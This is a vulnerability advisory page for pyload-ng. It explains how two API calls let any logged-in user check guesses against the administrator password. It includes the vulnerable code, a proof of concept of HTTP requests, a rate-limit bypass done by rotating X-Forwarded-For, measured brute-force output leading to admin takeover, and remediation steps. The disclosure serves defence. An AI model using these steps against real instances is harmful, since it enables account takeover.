Track vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
8.1

pyload-ng lets any user guess admin password

published 26 days ago
Summary

The pyload-ng web interface includes two API calls that any logged‑in user can reach, even with the lowest access level. These calls reveal whether a supplied password matches the administrator’s password, and there is no lockout or effective rate limit, allowing rapid password guessing. Apply the latest update from the pyload team or disable the affected API endpoints until a fix is installed.

What to do

The CVE record does not list a fixed version. Check the vendor's site or the advisory links below - a fix may already be released.

Affected software
Ecosystem VendorProductAffected versions
pip pyload team pyload-ng >= 0.5.0b3.dev1, <= 0.5.0b3.dev101
Original advisory text
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
## Summary

`Api.getUserData` (legacy) and `Api.get_userdata` are declared with `@permission(Perms.ANY)` and are reachable at `/api/getUserData` and `/api/get_userdata`. Because `Perms.ANY == 0` and pyLoad's permission check is a bitmask AND, that gate is a no-op: **every authenticated account passes, including one holding zero permission bits.**

Both methods are thin wrappers around `check_auth()`, which the maintainers deliberately restricted to administrators by omitting `@permission` (no entry in `perm_map`, so `is_authorized()` returns `False` for non-admins). The wrappers undo that protection.

An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the **administrator password**, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating `X-Forwarded-For`.

## Affected code

`src/pyload/core/api/__init__.py:1446` and `:1464`

```python
#: Old API
@permission(Perms.ANY)
@get
def getUserData(self, username: str, password: str) -> OldUserData:
"""
similar to `check_auth` but returns UserData type.
"""
user = self.check_auth(username, password)
...

@permission(Perms.ANY)
@get
def get_userdata(self, username: str, password: str) -> UserData:
user = self.check_auth(username, password)
...
```

## Root cause

`src/pyload/core/api/__init__.py:57`

```python
class Perms(IntFlag):
ANY = 0 #: requires no permission, but login
```

`src/pyload/core/api/__init__.py:108`

```python
def has_permission(user_perms: Perms, required_perms: Perms):
return required_perms == (user_perms & required_perms)
```

For `required_perms == 0` this evaluates to `0 == (user_perms & 0)` → `0 == 0` → **always `True`**. The `@permission(Perms.ANY)` gate therefore admits every authenticated principal regardless of which permission bits they hold.

Contrast with the intended admin-only primitive, `src/pyload/core/api/__init__.py:1396`:

```python
@legacy("checkAuth")
@get
def check_auth(self, username: str, password: str) -> dict[str, Any]:
```

`check_auth` has **no** `@permission`; `is_authorized()` at `api/__init__.py:1430` returns `False` for non-admins. The two wrappers carry `Perms.ANY` and restore access for everyone.

Because both wrappers also carry `@get`, they are placed in `method_map` and are directly routable via `/api/<func>`.

## Amplifiers

**1. No lockout.** There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.

**2. Rate limiting is bypassable.** `/api/*` applies `rate_limit(count=100, period=60)` (`src/pyload/webui/app/blueprints/api_blueprint.py:25`), which buckets on a fully client-controlled header (`src/pyload/webui/app/helpers.py:446`):

```python
client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() \
or flask.request.remote_addr
```

Rotating `X-Forwarded-For` per request yields a fresh bucket each time. Notably, `is_loopback_request()` in the **same file** (`helpers.py:288-294`) explicitly treats the presence of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as untrustworthy — the same guard was evidently not applied inside `rate_limit()`.

## Impact

Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's `id`, `name`, `email`, `role`, and `permission` bits.

## Proof of concept

Verified against 0.5.0b3, commit `a5b008958`.

Setup: stock instance with admin `pyload`, plus a non-admin user `bob` created with `role=USER` and `permission=0`.

**Step 1 — establish that `bob` is genuinely unprivileged:**

```
GET /api/checkAuth?username=pyload&password=pyload -> 401 {"error": "Access denied"}
GET /api/getAllUserData -> 401 {"error": "Access denied"}
```

**Step 2 — the flaw. Same user, same session, `Perms.ANY` gate:**

```
GET /api/getUserData?username=pyload&password=WRONG
-> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null}

GET /api/getUserData?username=pyload&password=pyload
-> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"}
```

`role: 0` is `Role.ADMIN`. `get_userdata` behaves identically. This is a perfect yes/no oracle.

**Step 3 — measured brute force and recovery.** Run as `bob` (`permission = 0`), admin password set to a 2-character value, `X-Forwarded-For` rotated on every request:

```
attempts : 667
elapsed : 39.7s (16.8 guesses/sec)
429 rate-limits : 0
account lockout : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq' (true value 'zq') match=True
```

**Step 4 — full takeover with the recovered secret:**

```
POST /login as pyload/<recovered> -> HTTP 302 (authenticated as admin)
GET /api/getAllUserData (admin-only) -> HTTP 200 (full user dump)
```

Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in `src/pyload/core/database/user_database.py:14`, not any rate limit.

## Suggested remediation

- Remove `@permission(Perms.ANY)` from `getUserData` and `get_userdata`, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-only `check_auth`.
- Structurally: `Perms.ANY = 0` makes `has_permission()` vacuous, so **any** method decorated `@permission(Perms.ANY)` silently becomes public to every logged-in user. Give `ANY` a real bit value, or handle it explicitly in `has_permission()` as "requires an authenticated session".
- Do not trust `X-Forwarded-For` unless a trusted-proxy deployment is explicitly configured. Otherwise bucket `rate_limit()` on `request.remote_addr`, or add the same guard `is_loopback_request()` already uses.
- Add per-account failed-authentication throttling or lockout.
- Consider `hmac.compare_digest()` in `_check_password()` (`src/pyload/core/database/user_database.py:61` uses a plain `==` on the derived hash, contradicting the "always use compare_digest" guidance two files away).

## Notes for triage

There is no `0.5.0b3` release on PyPI. The `develop` branch auto-publishes dev builds (`setup.py:86` appends `.dev<build>` to the `VERSION` file); the newest at time of testing was `0.5.0b3.dev101`. The `Perms.ANY = 0` design is long-standing, but only the `0.5.0b3.dev*` line was verified here — please confirm whether `0.5.0b2.*` and `0.4.x` are affected before finalizing the version range.
Fix within
Internet-facing 14 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit (estimated)
  • Gives an attacker full control (estimated)
Severity
8.1 High
Type
CWE-287Improper Authentication
Timeline
Published9 Oct 2026
Updated9 Oct 2026
First seen9 Oct 2026
Sources
Track software like this
Free during beta